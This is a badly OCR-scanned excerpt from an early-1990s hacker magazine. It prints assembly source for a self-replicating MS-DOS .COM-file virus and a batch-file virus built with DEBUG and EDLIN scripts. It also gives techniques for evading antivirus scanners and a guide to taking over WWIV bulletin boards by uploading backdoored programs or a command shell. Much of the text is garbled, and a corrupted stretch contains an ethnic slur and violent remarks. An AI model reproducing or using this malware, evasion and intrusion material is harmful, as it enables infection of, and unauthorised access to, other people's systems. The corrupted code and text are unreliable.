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An MS-D'OS Virus 
by the Paranoid Panda 

The MS -DOS * .COM file is the 
simplest of all executable files. This 
format was inCluded in MS-DOS to 
provide compatibility with the CP\M 
operating system. Although CP\M seems 
to be largely a thing of the past, * .COM 
files are still being produced, so there is 
plenty of opportunity for infection. 

As with the Atari virus I 'gave you in 
the Spring 1991 issue of 2600, this virus is 
designed to infect executable files while 
still rendering them capable of fully 
performing their ori ginal, intended 
functions. Consequently, this is not an 
overwrite.·.virus, and preserv.es all ,of the .. '. 
infected file's original code. 

The * .COM file has no program 
header, as do * .EXE files, and has no file 

. trailer such as Atari * .PGM, * .TOS, and 
*.TTP program files do. All the *.COM 

. me has is executable 80X86 inshVctions. 
,It must be ca pable of loading in one 
segment (64 Kbytes), along with the 
Program Segment Prefix (PSP) created by 
MS-DOS at load time, as well as the two : 
byte stack which is automatically created. 
Hence, the complete· .COM file must 
always be 64 Kbytes, less 256 byteS for 
'the PSP .• less 2 bytes for the stack. As a 

� result. a can�date fiJi: for infection must 
be short enough so that when its length is 
increased by the length of the virus. it will 
still notexceCd thiiJ maximum length. and 
MS-DOS will still load it for execution. 

MS-DOS will load • .COM files at 
offset 100 hex (l00h using the MicroSoft 
Assembler notation), a nd all memory 
references in the program are short (i.e. 16 

. bit) addresses. This is. in essen ce, an 
absolute encoding and addressing scheme, 
so that the virus code cannot be added at 
,the beginning while moving all the 

original code down in the address by the 
length of the virus. 

The only way to add the virusis at the 
end. and to insert a short jump to the virus 
beginning at the start of the file. This 
means that the first three bytes of the 
original code will be destroyed. so the 
virus must save these three bytes between 
the end of the file's code and the 
beginning of the virus «ode. Once the 
virus has completed execution, it restores 
the original three to the file's beginning in 
RAM, and jumps there. 

The comments in the accompanying 
listing pretty well tell the rest of the story, 
but a few words are still in order. There. is 
a space in the code, at symbolic location 
"payload;" for insertion of code which 
does the actual "dirty work" of the virus • 

All you will find there is a single "no op!' 
. instruction. You can add whatever you 

think best at that poin t. This code is 
supplied for instructional purposes only, 
and all that clap-trap. 

Note also that this particular version of 
the virus does not per form a very 
sophisticated search for candidates for 
infection.' Th e search will onl y  b� 
performed in the directory w here the 
already infected file resides, and does not 
search any subdirectories. That's easy 
enough to fix. and as the college text 
books say, that is an exe�lse which is left 
to the student 

. 

Happy Computing! 
------------------------------.� 

PAGE ,120 
; Pile VIRUS.ASM - This is the IauR:h prosram forlile Mazk n vinl� 
; II is 10 be .... mblod, linbd, and conWlled to. -.COM fUe .... 
; EXE2BIN. When lUll, it Ioob within the defined lOud! opace for""" 
; COM file. 10 infecI, and infoc:lI them. Then it lUll. it. payload modulo . 
; This IouncIt _ is 1lIUoIund.1ib III infoc:tod file, .0 j& conIoin •. 
; ..... mmy. hOlt _lib "'Ill which would be in III infected fiIo. 
; C�I i • ......,.d 10 this dummy hool_ when this program� 
; In the infected file. control will be _mod 10 the actual program 
; il cod .... afterthe payload � of ils parasitic virus run •. 
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_VIRUS SEGMENT 
ASSUME c"_ VIRUS,d,,_ VIRUS,.,,_ VIRUS 
ORGlOOb 

This is. the .. art of the dummy hOil program Comol iJ trand'cncd 
h� after the virus run&. All it does is terminate the program with 
a normal MS-DOS termination call. after having JU out a me". 

; infonn ing thai the program has terminated nonnaUy. 

; The next instruction iI what is actually i"-ended to be 
; in the dummy host program. II is the beginning of the code which 
; sets up the J)()S ,call to write the tennination message on the ICJ'CICfl. 
; The infected Jl'ogram which would have �ed this one would have 
; inserted a jump to the beginning of the virus over th.U. after .. virtg 
; what was actually thcx. 'When the viru& completes. it will R$lo� 
; the parts of the mangled original hOlt code, and run the hOlt program 

movbx.l 

; What you see encoded below, using the "db" auembktpseudo-op, is 
; the hal'ld encoded ;nnp to the begiming ci the virua, inllalled by the 
; program which would have infected this one. A, it happenl. the ;unp 
; written into the begiming is the same length a& the instructioo 
; (mov blot}) which was there in the firg. pace. In general, thcx 
; is no guaralltee jist what will be there. and how long it will be. . 
; Since the program being infected is a COM program. the only guar.,tcoe 
; is that the file will begin with some emcutable instruction. ThU., 
; the program getting infeacd may have part of an executable inluuaion 
; mangled by the inserted pmp. or possibly one entire instruction plul 
; pan of another. 

; The inllCrted code begins wiah "E9", the op-code byte for a jJmp relative 
; to the contentl of the IP as it: will look after the jJrnp pl .. displacement 
; is fetched. (The IP will contain 103h. COM progra..n. begin at offset 
; 1<01. and the jJmp plus diaplacement requires 3 byte ... ) The next two 
; bytes an: the displacement 10 the beginning of the virus.. The 
: dispt.ce ..... is col culated by the infecting program, .. foll"",,, 

; 0 = d:i.splacemenl to be added 10 cunent IP (=103) to get to 
; virus lIut. 
: D = Uninfoctecl 610 length 

I
:Ul'n?ntIP (=l03) 

4 bytes IIOnse Ipace for the overwritten first'inltruction.. 

If the uninfoctcd lmgth c:l the tur;et file is odd, a zero byte 
will be added at its end befo� the virus code it attached. 

The virus will thus begin 00 a word bounduy, and N(ll's inserted 
by the .5IIembler 10 put other things on a word boundary will &till 
perform their intended purpOIC. 

fit.leng.h EQU begin -.art 
"art: db OE9h : Op-code for "mp 

dw filelength+4-3 ; DiJplace�nt calculation 
roov cxJmessage 
mov dx. OFFSET message 

mov ah, 40h 
inl21h 

movahACh 
; Put tetminatioo mea�e on the screen 

; Fundioo number of nonnal pgm 
; temnnatlOfl 

inl21h ; Call OOS and terminate. 

meSiage: db "Launch program has tenninatcd nlX"mal1y.",OIll,OAh,O 
I ...... ,. EQU $-... oage 

; This ends the dummy host program. What follows is the actual virus. 
; which will be copied into the target file. 

viriength EQU finiBh-begin+102h ; Length of virus + PSP + initial stack. 

begin: db OBB h,OI,OO 

dbOO 

The inlitruction "mov bx.I" which 
would have been. saved here by the 
infecting program 
Make save bin 4 bytes total. 

virulbegin: ; The beginning of the actual virus 
: code. 

; Get and II&ve the baae add�. of the virus. 
mov bp,IO lh : Add,. .. of LSB of "mp 

; dilplaoemera 
mov bx. WORD P1R [hp) ; Get displacement in hx 
add bx, 103h ; Add IPconteri:. after fint 

; inlltJUCtion. 

mov bp,I OOb 

mov d�[b.4) 
mov [bp),dl 
mov d�[bd) 
mov [bp+ l),dI 
mov dl,[bd) 
mov [bp+2), dl 
pooh b. 

; Now hx containl addleu of 
; "virusbegin:" 
; Beginning of pgm. where original 
; inltJUction will be restoJed. 

: Pint byte 

: s.cood byte 

: lbiro byte 
; Save the actual lIlan "f vm.. 

: _STACKP01NTI'R 1NPO: Qlewoolpuot.cd (II _k_ 

; ....... Beginning of the Infection Module. .. ................ .. 

; Fint, ICalCh fw an uninfected candida.te file. If one il fOWld. 
; infect iI befo� running the Payload Module. If none is found. 
; proceed directly with the Payload Module. 

: U .. fundi", SFIRST (In. 21h, fn. 4Eh) '0 gel • candid". file. 
jmp dint ; Jump over wildcard Illing 

wildcaM: db .... COM",O : WildcaM narne for COM file. 

.tint, movah,4Eh : Functioo 110. of SFIRST 
pop dx ; Gel burt IIddftlu of viNl lIlan 
puah dx ; Rellore the lIlack poinler 
add dx.wi1dcard-virulbegin ; Add dUtance to Jtring. 

mov Cx.O ; Attribute word=lOek normal file. 
in.2lh : Call DOS 
jlcoverl 
jrnp payload 

; Found one. 
; Otherwiae, no COM files. 
; do payload. 

; Now that a candidate file i5 found. ma.ke 50ftl th. when the vm. is 
; added, iI will nol be too long to be a COM file. COM file maxlrTIJm 
; length is 64kbytes less lOOh byte. for the psp, Ie"two bytel for the 0 
; bytes added on the lIlack by the operating syllem on loading. 

over t : mov bX,8Oh+IAh 

mov ax. vidength 
add ",,[b.) 

; Add�" in PSPtR:B contaming 
,file I..,gth. 
; Length oC virus 
; Will get overflow if file lmgth 
:'00 big, 
; No overflow, bep going. 
; This file too big to infect, 
; try another. 

; A candidate file has been found. Detetmine if it is infected, or 
; go on to the nexl one. 
checltinfoct: 

: Open the file. 
fileopen: movah,31l1 : Fn, no of OPEN Wffil HANDlE 

mov al,02 ; Open for leadjwrite acce •. 
mov dx.81lt+1En ; Location in DTA oHile name 
in.2lh : CallDCS. 
jlc opened ; Open w. IUCCCIQul. continIX' 
jmp s.neXl ; C ..... ot open thi5 fi}e, look 

;formo�. 
opened: push ax ; Save file hand�. 

; Open was succ�sdul. mo� the file p(lU'lt�ll(\ the infection ma.rk�r. 
movah,42h ; FR. no. of LSEEK 
mew al,02 ; MeasuJ'(' llffllel fn'm end llf fik 
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popbx 
pooh bx 
mov cx,OFFPRt 

mov d",OFPK:h 

inl2th 
;':...,3 .. 
imp<1ooefilo 

: Road lhe WI four bytes. 
owr3: mov ah.3Rl 

popbx 
pup dx 
puIh dx 
puIh bx 
acid d",-4 

movcx,4 
inl2th . 
;.: ovor4 
jmp<1ooefilo 

: Getfiloh.,dle. 
; Keep file hancO.e on top of lIIack. 
; MSB of Off801 from end. 
: Sign .... nd. 
: LSD of infection nwbr. 
: Fil. end - 4. 
: Call DOS . 
; No eIIW. continue. 
; Buor CJ<leumd. clOlC thiJ OM 
: and loot again. 

: Fn no cl READ 
: Gel file bIOldie. 
: Get .ddle .. of "virusbegin:" 
; Relllo� to lIIack 
: Rollo .. file h",dIe on slack. 
; Move pointer back to 111m fI. 
; lave bin. 
: Road 4 byteo 
: Call DOS 
: No enor. keep going. 
; 0Ir0I' oc:c:um:d, clote thia one. 

: loot "lain. 

: Co ....... 1he WI four byteo wilh Ihe ipfeetiCill morloor. 
ovel'4: pup bx : Tab file h",dIe offlo gol lO &dr. 

pup bp : Get ad.u... of "virusbegin" 
puIh bp : Rollo .. bu1I'er_ 
puIh bx : Root ... file bIOldie. 
mov bh.[ bp- 4 ) : "'" byIo 
mov b1,[bp-3) : s.. ... d byIo 
xor b",OOOlh : Fin! half ..... h? 

. jI • ..." : Pin! half d .... ·1 ..... h. oontin ... 
ovel'4a: ..,. bh.[bp-2) : Third byIo 

mov b1,[bp-1) : Pounh byI. 
xor b",� : s..ood half mal<h? 
itlOverS ; No match. Continue. 
imp <Iooofile : MaIohos nwbr. CI ... and tty again. 

: Pile ia not infected. Proceed to infect. 

: Move filo poinIer 10 besinnin8 of file . 
... ",: mov ah.42h : Fn no. of LSEIlK 

pup bx : Pile h .. dIe in bx. 
pooh )x . : Keep Ihe -t oqualixod. 
mov a1.QO : 011101 from file beginning. 
movCx,O ; Offllel = 0 
mov dx,O. ; Off .. =0 
inl21h :CaIlDOS 
;.:.- : No ._ •• ootin ... 
imp <Iooefilo : Enor. tty anolller file. 

: Save Ihe finI duee byteo in Ihe buffer. 
ovcr6: mov M.3A1 ; Po. no. of READ 

pop bx : Gellhe rile h",dle 
pup dx : D.giming cl buffor 
pooh dx : RoIIo .. 1he slack 
pooh bx : Rollo .. 1he Slack 
add dx.4 ; Movcpointer to Itart of ave bin. 
mov «,3 : Road 3 bylCO 
inl2th :CaIlDOS 
mov a1,0 : Zero byIo for foudb loc. in 

acldd,.,J 

mov bp,dx 
mov [bpla1 

; I&� bin. 
; Reg. dx pointl 10 fourth loc in 
; I&� bin. 
; Place:in bale pointer for indeL 
: Wrilo ..... byIo in fourth Ioc. 

: Move file poinIer backlo Ihe beginning of lho file. 
mov ah.42h : Po. no. of LSEIlK 
pop bx : File h .. dIe in bL push bx ; Relllo� the Ilack 
mov al,OO ; Offaot from file beginning 
mov cx,O ; 'kro offset 
mov dx,O ; Zero offset 
inl21h : Call DOS 

;':pasI ; No enor. c:ontinue. 
imp <I_file : Enor. tty anolller file 

: Overwrilo Ihe filii duee byles wUh a jump 10 virus beginning. 
Iempbuf: db !E9h.0.0 
pall: pop bx : Get file handle 

noadd: 

pop bp : Get _a1 add ... of "virusbosin" 
pooh bp : Equalize "act 
pooh bx : Equalize "act 
mov oi,gOh+IAh : LocaIioo in DTA of file Ienglh 
mov ... [ si) : Gel""" filo Ienglh in ax 
rdtgoh,al : Swap hal ... Iemporarily. 
sahf : Lower byIo of file Ienglh 10 

rdtg .... a1 
;':noadd 

add ... 1 

:11.I0Il. 
: Swap back. 
: LSD clax inlooatty. Jump 
; if c(ax) even. 
:!lbo. add .... ,0 o(ax) 10 
: mab .. JUh even. 

add ... t :TOIalju""iafilolenglh· 3+1 
add bp,1e""buf-vw,begin : Get addle. of 

: Ie""butin bp 
mov [bp+ILai : Pin! displace ..... by!< 
III!'" [bp+2).aII : s..ond di&pIaco ..... byIo 
mov d .. bp : Slut of buff .. 10 dx 
mov ah, 4 Oh : Punotioo no . of WRI1E 
mov< .. 3 : Wrilo 3 byIeo 
inl21h :CaIlDOS 

; Move the file pointer 10 tho end «tho file. 
mov ah,42h : Po. no. ofLSI3IlK 
mov a1,02 : 0!f00I me ..... d from end. 
mov < .. 0 : Zero _ 
mov d",O : Zero 0_ 
pup bx : Get file handle 
pooh bx : RooIOJeIhe .... t 
inl21h :CaIlDOS 

: Cheek largel file Ienglh. If odd. add a 0 byIo allhe end. 
mov bp.8Oh+IAh : AddlOao of lower byIo 

IDOV ... [bp) 
md u,1 
jzokip 
movah,4Oh 
popbx 
popbp 
pooh bp 
pooh b. 
add bp,-I 

IDOv d",bp 
movcx.l 
mov [bp1c:h 
inl2th 

: of fileleng"'. 
; Get lower byte in ax for compariaon 

: Get lab of file Ienglh 
: Skip if rllelenglh even 
: Po. no. ofWRI1ll 

: Get filo handle 
: Addle. of "w,begin" 
: Equalize alack 
: Equalize "oct 
: Move poinIer juII behind 
: saved 3 byIe. 
; location of OM byte buffer 
: WriIo .... byIo 
; Zero byte to be written 
: Call DOS 

; Wri1c the vUul onlo the end fI. the taIget file. 
okip: mov ah,4Oh : Po. no. ofWRI1ll 

c1osefile: pop bl: 

mov < .. finish-begin: No. cl byIos lo be wrillon 
: oqualo 4 byIo save bin plu. 

popbx 
pupdx 
pooh dx 
pooh bx 
add d .. -4 
inl21h 
popbx 
movah,3E11 
inl2th 
jmp payloacl 

mov ah.3E11 
inl21h 

; Viml euc:utablc code . 
: Gel filo handle 
: Add .... of "vwsbegin" 
: Equalize alact 
: Equalize " .. t 
: Inolude .. ved finllhlOo bytes. 
: Call DOS. 
: Gel file handle 
: Po. no. of CLOSE 
: CIOIO rile for good. 
: Infeetioo <omplele. Run Ihe 
; Viml payload. 

Gel file handle off "act 
po"""",,"Oy. 
Fn. no. of CLOSE. 
CaliDa;. 
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; ......... &xl of the Payload ModJle ......... ,.... ••• ,.... ••• ,.... ....... . 
,_srACKIUINTIRIN/Q,CAIc_JIlSI..d"""""k_ 

snext: movah.4Rt ; Function no. of SNEXT 
; Time to finish up. ae.ore the stack Wld jump to �s: l00h 

in.21h ,Call DOS. 
jc payload ; If error, just go and do payload. 
jmp filcopen ; Otherwise, tty to infect this one. 

popbp 
,_STACKPOIN1ERIN/Q,Nothingloft"""""k _ 

movax,IOOh 

; ....... End of th� Infection Module ........................... finish: 

; ....... Beginning of the Payload Module. ...................... _VIRUS ENDS 
payload: nop END start 

jmpax 

L.A. LAW . 
ffi��ecOrnPutet�es$�P���%ef��en.ftmn�����lg������!���i 
!?�(l11tment OVerjhe��99iP��·?�y�(l�,·iP�.1jl�li� ��r�(l ...... . 
�Of:PiteT .t�rmi1Yf�.(1i'r/,grneS��ge�C(l�Re·.�e�t Rftytef�t�CqTqn;9.> 
t1J,e/4i-$1X1&(}Iun".;fI�e'Y:)'ecqn§ee··Pr()fe�i()nql§inq<iti()n; 

�1�_I�t�6�q1����I.id��i�s�n����������9��e�m��I�c 
g'(lpt;Oq pic k; lots of wit; 

. . . 
. - , 

. 

l?��t!�rre����.8?yrd9.1a9y9fJustbeatp¢�.1l1>; 
W¢jp$1: slapp�ijb�r ;Jl:opd .. a pit;.,sh�rS g�t1;iIlg·�rlgll,£npw; : .•. ::.:::.-=-::( .•. ::.':\:: : :.

; :
.
: ,,.:: ::;-» -:--<:-:---:,,-:,::,:/::::,-:/:: ::::;:':; '-?:-:-::: ' : " - : :- -:,, :: : ' " , '- - -- - ;" , ,=' ' , " ' , '  - - - ', - , , : -: ,' , ' -- , ;- , , - :::" " : =',,::',::-::-' .- , ':'_' " :- '  ,

' . ...... ::.::.:: 

Afuiim6b��l1d�t��t�ihili�k�fbt�l1i��b�ttiri; 
. _ .

. . _ - _ . , . "" """' ' ' ' ' ' - . 

��;£�fitirttirtW�b1)it$, 
)\;¢tu�UlY�q1uslbl1wabbit.s; 

::/:/::::--\-\«:'::-- ,:-<:\< : ::'-: :'- -- -- :(:: " :.::::::< ' : ---- -.; :::: ,:,:,:,/>:::::-::' .> ':: , , --:" ' , : -::: : ::: - ::' : : , , : ' :':.:'- :- :, : , : :. 

��Ptl:JIie')iitn.;beatb.ixna.lldtl'eafhlmJji�d�rt� 

��RP�t�.er�i�e�o�gh�n!t�.�o�.�tuP·ElPOW7WOw�ro4*dtpe 
$U$p sqh�can g�taigQod$pankingand nobodyc it; 

' . 

�J9Y9u �eallybr.eakhis.arm. 
AI0t1gW�tb.·9th�rmis�parts. 

Ok;Jy.p�ople ..• pl$ ... ijoIl'ttransferme.aIlyorientals·.·.1b.1i!9 tWo 
already 

. , ' , ' , '  " , ' " ," ' ," " , '  " . , - ' . - -- -_ . 

lWQUld love to. drive down Slauson with a flame thrbwer.:.Wf! 
wQuldb.avea·barbeque 
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A Batch Virus 
by Frosty of the GeMS 

Whoever thought that viruses could 
be in BATCH files? This virus which 
we are about to see makes use of the 
MS-DOS o p erati n g system. This 
BATCH virus uses DEBUG & EDLIN 
programs. 

Name: VR.BAT 
echo = off (Self explanatory) 
ctty nul (This is important. Console output 
is turned off) . 
path c:\msdos (May differ on other 
systems) 
dir *.comlw>ind (The directory is written 
on Mind" ONLY name entries) 
edlin inde1 ("Ind" is processed with EDLIN 
so only file names appear) 
debug inde2 (New batch program is 
created with debug) 
edlin nam •• bate3 (This batch goes to an 
executable form because of EDLIN) 
ctty con (Console interface is again 
assigned) 
name (Newly created NAME. BAT is called) 

In addition to this Batc h  file, there 
are command files, here named 1,2,3. 

Here is the first command file: 
Name: 1 

l,4d (Here line 1-4 of the "IND" file are 
deleted) 
• (Save file) 

Here is the second command file: 
Name: 2 

ml00,10b,IOOO (First program name is 
moved to the FOOOH address to save) 
8108 ".BAT' (Extension of file name is 
changed to . BAT) 
ml00,10b,1010 (File is saved again) 
8100"DEL" (DEL command is written to 
address 100H) 
mfOOO,IOOb,104 (Original file is written after 
this command) 
.10c 2. (Period is placed in front of 
extension) 
8110 Od,oa (Carriage return plus line feed) 

m1010,1020,11f (Modified file is moved to 
11 FH address from buffer area) 
.112 "COPY WR.BAT' (COPY command 
is now placed in front of file) 
.12b od,Oa (COPY command terminated 
with carriage return plus line feed) 
rxc (The CX register is .:.) 
2c (set to 2CH) 
nnam8.bat (Name it NAME.BA n' 
w (Write) 
q (quit) 

The third command file must be 
printed as a hex dump because it  
c onta ins two control characters 
(1 Ah-Control Z) and this is not entirely 
printable. 

Hex dump of the third command 
file: 

Name: 3 
0100 31 2C 31 :F 52 20 1A O[).E 79 79 79 79 79 79 79 

1 . 11 "yyy yyy y. 0110 792900322C32:F 52-20 1AOO6E6E797979 
Y 2 , ?11 . .  " "yyy 0120 79 79 79 79 2900 45 0000 00 0000 0000 0000 

y y y Y E 

In order for this virus to work, 
VR.BAT s hould be in the root. This 
program only affects .COM files. 

2600 HAS A FULL 
LINE OF BACK 

ISSUES FOR 
YOUR HACKING 

NEEDS. SEE 
PAGE 47 FOR 

DET AILS. (PAGE 
47 HAS NO PAGE 

NUMBER.) 
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VIRUS SCANNERS EXPOSED 
by Dr. Delam 

In 1989, virus expert John McAfee 
reported there being a whopping 52 known 
computer viruses in existence for the IBM 
computer. Lacking the most recent figures 
to date, it could be estimated at well over 
300 known to the public, and probably a 
couple hundred more known to traders and 
collectors. Projections for the increasing 
trend are indefinite, but it is evident that 
the current popular methods of stopping 
viruses are grossly ineffective. 

The following text provides some 
insight into just a few methods that could 
be used in a virus that current virus 
protection wouldn't catch. 

When most viruses replicate, they try 
not to reinfect any programs. A marker 
will be left behind to signify an infection. 
One of the easiest places to leave a marker 
is in the file's directory entry. 

Of the marking methods, the 62 second 
trick is most popular. When a file is saved, 
it's given a time and date. The time is 
saved in hours, minutes, and seconds. But 
the seconds do not appear in directory 
listings. Because of this fact, and the fact 
that the second's value may be set to 62, 
it's a great way for a virus to identify an 
infection. 

Two more areas of interest in directory 
entries are the attribute byte, and the 10 
reserved bytes, neither of which have been 
used by viruses as markers. The attribute 
byte consists of six used bytes, for read­
only, archive, volume label, directory, 
hidden, and system. The two unused bits 
cannot be used effectively. If either is set 
high, the A TTRIB command will not be 
able to perform changes on that file. The 
10 reserved bytes however, can be 
changed without any adverse effects that I 
have noticed. They are normally set to 

zeros. 
One other marking method is to leave 

an identification within the virus, and scan 
for that before each infection. This is not 
only time consuming, but it leaves the 

virus scanners something to detect, and is 
impossible for use with random encrypting 
code. 

Note: If you are not familiar with the 
ATIRIB command, type "ATIRIB •.• " 
to see the current attributes of each file in 
a directory. For a cheap thrill, go to the 
local Radio Shack, get into DOS, and use 
EDLIN to modify AUTOEXEC.BAT. Be 
creative - if ANSLS YS is loaded in 
CONFIG.SYS, you might want to add the 
line "PROMPT $E[=lhEat ME!". Then 
type "ATTRIB +R AUTOEXEC.BAT". 
It's harmless fun, and it will effectively 
annoy the salespeople because they won't 
be able to delete or change 
AUTOEXEC.BAT. 

Virus size can become a critical factor 
in programming. An easy way to reduce 
size is to place some of the code in a 
common location, and load it in during 
execution. An overlooked area, again, is 
the directories. 

If the root directory's capacity is 112 
entries (number is found in the boot 
sector), using the 10 reserved bytes would 
give you 1120 undisturbed bytes in a great 
location, free from scanners. 
Subdirectories provide an even better 
amount of free space ... the number of 
entries for subdirectories is unlimited, and 
furthermore, a subdirectory doesn't show 
its size in directory listings. A generous 
amount of empty entries could be provided 
to a subdirectory, after which a full virus 
could reside. 

The only other places that would be 
considered undisturbed. safe hiding spots 
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would be in the DOS directory as a pseudo 
file like GRAPHICS.SYS which doesn't 
really exist, but may be overlooked, or 
assuming the name of a useless file like 
the 12345.678 file. 

The ideas presented were original, and 
may give a small feel for how insecure 
computers are, and how far behind the 
times virus researchers using the old scan 
string technique really are. At the head of 
the pack for those researchers who are still 
scanning is McAfee Associates in 
California. 

McAfee Associates use a somewhat 
desultory method of catching viruses. A 
new virus infects someone, they then send 
a copy to McAfee, and McAfee looks for a 
sequence of bytes common within the 
virus (the scan string). A few more come 
out and McAfee puts out the new version 
of Scan - yippy! 

"Hmmmmm, McAfee foils me again; 
they have a scan string to my virus!" It 
didn't take much thinking on the part of 
virus writers and connoisseurs to figure 
out the solution - just change the scan 
string in the virus itself. and ouala, the 
virus is no longer scannable! The obvious 
was too obvious though - McAfee made 
sourcing Scan to find the scan strings near 
impossible. Scan works by encrypting the 
program it is scanning, and comparing it to 
an encrypted scan string, like when 
comparing a dictionary to a DES password 
file. This was done so Scan wouldn't 
detect itself. Picking apart Scan seemed to 
be more bother than what it was worth, as 
how any security should work. 

"Bahahah, they missed something!" is 
probably something like what Flash Force 
was thinking when he pioneered the way 
around the encryption. Flash Force called 
my board and told me what he was 
working on. He found that all the scan 
strings were 10 bytes in length, so he 
made a program called "Antiscan" to 
fragment a known virus into hundreds of 

little 10 byte files. Sure enough, Scan 
pointed out the 10 byte file containing the 
scan string. 

McAfee caught on that new viruses 
were coming out that were actually old 
ones with a few bytes mixed around, just 
enough to evade Scan. Their response was 
to make some new scan strings of varying 
length, and allow for a wild card where the 
strings varied slightly. It's obvious 
McAfee didn't know what was really 
going on or they would have checked the 
length of the program they were scanning, 
and made a percentage match to warn of 
near matches. 

(It would be fun to see how they would 
cope with a virus that randomly exposes 
scan strings of other viruses. You have to 
wonder if C lean would obliterate the 
program it was trying to save.) 

The problem McAfee posed was easily 
remedied. I used Flash Force's idea and 
made a program that forced Scan to look 
at two files at a time, working much faster 
than AntiScan. Take the first half of the 
bytes in the virus and make one file. Take 
the second half of the bytes and make 
another. Now shell to Scan and make it 
look at the files. If Scan finds nothing in 
either half, the scan string must be broken 
between the two halves, so center on that 
section and reduce the resulting file's size, 
still centering, until Scan can't detect the 
string. If Scan had found the string in one 
of the original halves, the program would 
make two more files from that half, etc. 
Finally a resulting file that can't be halved 
or reduced while centered upon is  
produced. From that point the program 
fragments like AntiScan and Scan will 
point out the scan string it looks for, all 
inside of a couple minutes or less. 

I visited with Mark Washburn, writer 
of the V2P series of research viruses, and 
of a protection program known as Secure. 
I found Mark to be a pretty kewl guy, and 
we got into discussing phreaking, which 
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he had no previous expe rie nce with . He 
wouldn't be labeled a ha cker by to day 's 
s tandards , but I th ink you 'll see that much 
of what he does parallels tha t of one. 

Mark saw Ii way to circumvent virus 
s canners altog ethe r: Just write a program 
that e ncrypts itself 100 percent and var ies 
the enc ryptio n from infe ction to infe ction !  
Mo st pro gram mers would say, "Yeah, but 
the part that decryp ts  the virus would have 
to .be exec utabl e, therefore it can 't b e  
en crypted, and the scan ner would pi ck that 
up !" Not if you figure o ut an algorithm to 
make thousands of decryptors t hat all 
perf�rm iden �ical.�. wh ich is what he did. 
In his latest ,V2P1 virus, only 2 bytes sta y 
con st an t,  th e'two re quired to form a loo p. 
How many prognuns do you sup pose h ave 
lo ops in th em!? He scares th e he ll out of 
Mc Afee while showing th em the fault in 

%600 has meetings 

in New York, 

Washington, and 

San Francisco on 

the first Friday of 

every month from 

S pm to 8 pm local 

time .. You can 

organize a 

meeting in your 

city by placing a 

free ad on page 41. 

their prog rams , They' ve never listened. 
I h ad to wonde r who Mark gives copies 

of h is resear ch viruses to. He only made 
two copies of V2P6, and one of them went 
to M cAfee. He didn 't believe me when I 
told him I had a copy of V2P6, so I ha d to 
s ho w  h i m .  To s ay the l e a s t, he w a s  
sho cked. Trusting that he only gave a copy 
to McAfee would mean one of two things: 
ei ther M cA fee has w a rped s t aff, or 
someo n e  g a i n e d  higher a ccess  on 
McAfee 's board (if M cAfee was stupid 
enoug h to p u t  their copy of V2P6 
anywher e near t heir B B S  compu t er ) .  
Either way they la ck se curity. 

Tho u g h  the V2P v iru s e s  are 
uns ca nnable, Mark made sure he ' had a 
w a y  to protect again s t  i t .  His Secure 
p ro gram is a s hareware virus protection 
t hat watc he s  over reads and writes t o  
exe cutable file s ,  vi tal s ector s ,  an d 
memo ry: It e ffe ctive ly s tops new and ol d 
viruses a s  well  as tro jans,  bo mbs,  and 
replicators. Probably the only ways aroun d 
it are to use direct co ntrol o f  the drive s, 
whi ch is too m u ch bulk  for a vir u s ;  
re move S ecure from me mory; o r  have the 
v irus rename th e file it i s  infecting to a 
file name without an exe cutable e xtension , 
and then replace the original name. 

To date, no v irus uses an y of the s e  
metho� t<.>  a void detection, because not 
enough people are. usin g Secure to w orry 
abollt, it ;  ,McAfee has gained p op Ularity 
onl y because it is easy to obtain a re cent 
ver sion v ia t heir BBS,  and the av erag e 
co mpu ter u ser i sn ' t  smart  eno u g h  to  
u nders tand t he me chanics o f  v irus 
p rote .ction  and. th e quinte s s e n ce o f  
hampe rin g al l activity resembling a virus 
befo re its propagation. 

If it weren 't for peo ple l ike M ark. who 
te st the se curity of computers,  an d th e 
in tegrity and  validity of s o ftw are , 
cybers pace might just as well be ruled by 
the s adisti c and vindi ctive .  

Duruni e t  durum non faciunt murum ! 
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HACKING WWIV 
WWIV is one of the most popular BBS 

programs in the country. With thousands of 
boards in WWIVnet and hundreds in the spinoff 
WWI Vlink, there is a lot of support and 
community. The nice thing about WWIV is that 
it is very easy to set up. This makes it popular 
among the younger crowd of sysops who can't 
comprehend the complexities of fossil drivers 
and batch files. In this article I will discuss four 
methods of hacking WWIV to achieve sysop 
access and get the user and configuration files. 
Just remember the number one rule of hacking: 
DOn't destroy, alter, or create files on someone 
else's computer, unless it's to cover your own 
trail. Believe me, there is nothing lower than the 
scum who hack BBSes for the sheer pleasure of 
formatting someone else's hard drive. But there 
is nothing wrong (except legally) with hacking 
a system to look at the sysop's files, get phone 
numbers, accounts, etc. Good luck. 

Technique #1: The Wildcard Upload 
This technique will only work on a board 

running an unregistered old version orosz and 
a version of WWIV previous to v4.12. It' is all 
based on the fact that if you do a wildcard 
upload ( •.• ), whatever file you upload will go 
into the same directory as DSZ.COM, which is 
often the main BBS directory. So there are 
several methods of hacking us ing this 
technique. 

If the sysop i s  running an unmodified 
version of WWIV, you can simply compile a 
modded version of it with a back door and 
oVerwrite his copy. Your new copy will not be 
loaded into memory until the BBS either 
shrinks out (by running an onliner or 
something), or the sysop, terminates the BBS 
and runs it again. 

You can al so have some fun with two 
strings that WWIV always recognizes at the 
NN: prompt: "I@-NElWORK-@I" and "!@­
REMOTE-@'''. The first is used by WWIVnet 
to tell the BBS that it is receiving II net call: If 
the BBS is part of a network and you type "I@­
NElWORK-@ I", it will then wait for the 
network password and other data. If the board is 
n<ll part of a Iletwork, it will just act like you 
typed an invalid user name. The second string is 
reserved for whatever programs people wanted 

to write for WWIV, like an off-line reader or 
whatever. Snarf (the file leeching utility) uses 
this. If there is not a REMOTE.EXE or 
REMOTE.COM in the main BBS directory, il 
will also act as if you entered an invalid user 
name. So, what you can' do is wildcard' upload 
either REMOTE.COM or NElWORK.COM. 
You want to call them COM files, because if 
the EXE files already exist, the COM ones will 
be called first. If the BBS is part of a network, 
you should go for REMOTE.COM, because if 
you do NETWORK. COM. it will screw up 
network communications and the sysop Will 
notice a lot faster. O(course, if you're going 
straight in for the kill, it doesn 't �atter. 

So, what should NETWORK. C OM or 
REMOTE.COM actually be? Well, you can try 
renaming COMMAND. COM to one of those 
two, which would make a DOS shell for you 
when it was executed. This is tricky, though, 
becaute you need 'to IuIQw .his OOS:·,teFabt�'L 
sujgest a batch 'fQe� compiled to: •. �OM,til�� 
using PC:Mag 's 1jAi'2Kid�c. You'can 'iR'''Mte' 
the bJltch'fdelt'� one,ijne: " ,; ',"' \C�ND: ' ' " , " ,. ," . .  

, That wa,YY�!ldOn't hiiyo:to :worry ;.u,&. 
DOS versions. ' , .' � 

